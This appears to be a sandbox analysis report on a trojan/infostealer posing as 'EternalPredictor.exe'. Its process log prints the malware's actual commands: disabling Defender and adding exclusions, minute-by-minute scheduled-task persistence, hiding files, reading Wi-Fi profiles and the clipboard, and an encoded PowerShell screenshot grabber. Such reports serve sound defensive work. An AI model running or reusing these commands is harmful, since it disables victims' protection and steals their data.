Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.EternalPredictor.exe.3d22330.2.raw.unpack, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: eternal.exe.0.dr, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: eternal.exe.0.dr, IsDp1ecpTFNA4aR1tkuj7x6jBnVeFOWVVQprEerK5JT5WDvVxJvOqcheXfyHjH2HvZRfEKvHfLNgLVkvs.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@170/58@5/4

Source: C:\Users\user\Desktop\EternalPredictor.exe

File created: C:\Users\user\AppData\Roaming\eternal.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7952:120:WilError_03
Source: C:\Users\user\Desktop\EternalPredictor.exe	Mutant created: \Sessions\1\BaseNamedObjects\jONt95IbMc1ABmB7S
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3796:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:636:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7552:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7632:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7332:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3832:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7252:120:WilError_03
Source: C:\Users\user\AppData\Roaming\eternal.exe	Mutant created: \Sessions\1\BaseNamedObjects\Z7DjfJsbzoeA8FRF
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7548:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Users\user\AppData\Roaming\program.exe	Mutant created: \Sessions\1\BaseNamedObjects\7
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\3575651c-bb47-448e-a514-22865732bbc
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7460:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5928:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7640:120:WilError_03

Source: C:\Users\user\AppData\Roaming\eternal.exe

File created: C:\Users\user\AppData\Local\Temp\Log.tmp

Jump to behavior

Source: EternalPredictor.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: EternalPredictor.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\EternalPredictor.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\EternalPredictor.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Roaming\program.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: SecurityHealthSystray.exe, 00000036.00000002.1707554882.00000000015E0000.00000004.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN)C:\Windows\system32\;
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, program.exe, program.exe, 00000008.00000002.1952154128.00007FFBA6791000.00000040.00000001.01000000.00000011.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: EternalPredictor.exe	Virustotal: Detection: 56%
Source: EternalPredictor.exe	ReversingLabs: Detection: 57%

Source: program.exe	String found in binary or memory: set-addPolicy
Source: program.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\EternalPredictor.exe "C:\Users\user\Desktop\EternalPredictor.exe"
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\eternal.exe "C:\Users\user\AppData\Roaming\eternal.exe"
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\skuld.exe "C:\Users\user\AppData\Roaming\skuld.exe"
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\EternalPredictor.exe	Process created: C:\Users\user\AppData\Roaming\program.exe "C:\Users\user\AppData\Roaming\program.exe"
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s C:\Users\user\AppData\Roaming\skuld.exe
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Users\user\AppData\Roaming\program.exe "C:\Users\user\AppData\Roaming\program.exe"
Source: C:\Users\user\AppData\Roaming\skuld.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get UUID
Source: C:\Users\user\AppData\Roaming\eternal.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\XClient.exe C:\Users\user\AppData\Roaming\XClient.exe
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"
Source: C:\Users\user\AppData\Roaming\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIA